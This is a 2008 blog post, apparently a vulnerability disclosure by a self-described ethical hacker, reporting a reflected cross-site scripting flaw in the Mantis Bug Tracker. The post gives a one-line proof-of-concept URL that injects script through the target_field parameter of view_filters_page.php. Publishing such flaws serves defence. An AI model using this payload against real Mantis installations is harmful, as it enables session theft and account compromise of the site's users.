hiredhacker.com

hiredhacker.com hiredhacker.com hiredhacker.com hiredhacker.com

relevant ramblings of an ethical hacker

relevant ramblings of an ethical hacker relevant ramblings of an ethical hacker relevant ramblings of an ethical hacker relevant ramblings of an ethical hacker

"Now I'm sleeping on floors of temporary friends, But I'm keeping the store front as clean as I can" - Atmosphere

01 Mar 2008

Mantis Bug Tracker XSS

Posted by: Gerry Eisenhaur in Content, tags: xss 0day advisory

‘Mantis is a free popular web-based bugtracking system’ - http://www.mantisbt.org/

I didn’t audit this, I don’t want to audit this, I just found it while using Mantis. There may be more, but this is what I got:

/view_filters_page.php ?for_screen=1&target_field=show_category[]%22;alert(1);x=%22

These icons link to social bookmarking sites where readers can share and discover new web pages.

This entry was posted on Saturday, March 1st, 2008 at 4:52 pm and is filed under Content. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

hiredhacker.com

relevant ramblings of an ethical hacker

Mantis Bug Tracker XSS

Search

Sponsered Ads

hiredhacker.com

relevant ramblings of an ethical hacker

Mantis Bug Tracker XSS

Search

Tags

Sponsered Ads